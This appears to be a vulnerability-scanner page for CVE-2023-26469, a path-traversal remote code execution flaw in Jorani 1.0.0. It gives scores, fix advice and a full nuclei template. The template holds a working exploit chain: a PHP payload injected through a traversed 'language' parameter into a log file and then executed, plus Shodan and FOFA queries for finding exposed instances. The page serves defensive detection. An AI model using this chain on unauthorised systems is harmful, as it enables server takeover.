Jorani 1.0.0 - Remote Code Execution

criticalseverity

9.8CVSS score

82.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Upgrade Jorani to a patched version or apply the necessary security patches.

How to confirm it

Send: GET /session/login ; POST /session/login ; GET /pages/view/log-{{date_time("%Y-%M-%D")}}
Positive when: contains "7cca0844e81cd333152def045fe075c2" AND status 401

Run it with nuclei: nuclei -id CVE-2023-26469 -u <target>

The full check

id: CVE-2023-26469

info:
  name: Jorani 1.0.0 - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade Jorani to a patched version or apply the necessary security patches.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26469
    - https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
    - https://github.com/advisories/GHSA-7r9h-9r47-7vjj
    - http://packetstormsecurity.com/files/174248/Jorani-Remote-Code-Execution.html
    - https://jorani.org/security-features-in-lms.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26469
    cwe-id: CWE-22
    epss-score: 0.82949
    epss-percentile: 0.99675
    cpe: cpe:2.3:a:jorani:jorani:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: jorani
    product: jorani
    shodan-query: http.favicon.hash:-2032163853
    fofa-query: icon_hash=-2032163853
  tags: cve2023,cve,jorani,rce,packetstorm,vkev,vuln
variables:
  payload: "<?php if(isset($_SERVER['HTTP_{{header}}'])){echo md5('CVE-2023-26469');unlink(__FILE__);} ?>"
  header: "{{to_upper(rand_base(12))}}"

http:
  - raw:
      - |
        GET /session/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /session/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_test_jorani={{csrf}}&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login={{payload}}&CipheredValue=DummyPassword
      - |
        GET /pages/view/log-{{date_time("%Y-%M-%D")}} HTTP/1.1
        Host: {{Hostname}}
        X-REQUESTED-WITH: XMLHttpRequest
        {{header}}: CVE-2023-26469

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '7cca0844e81cd333152def045fe075c2'

      - type: status
        part: header_3
        status:
          - 401

    extractors:
      - type: regex
        part: body
        group: 1
        internal: true
        name: csrf
        regex:
          - 'name="csrf_test_jorani" value="(.*?)"'

References

Use this check only on systems you are authorised to test. Where the data comes from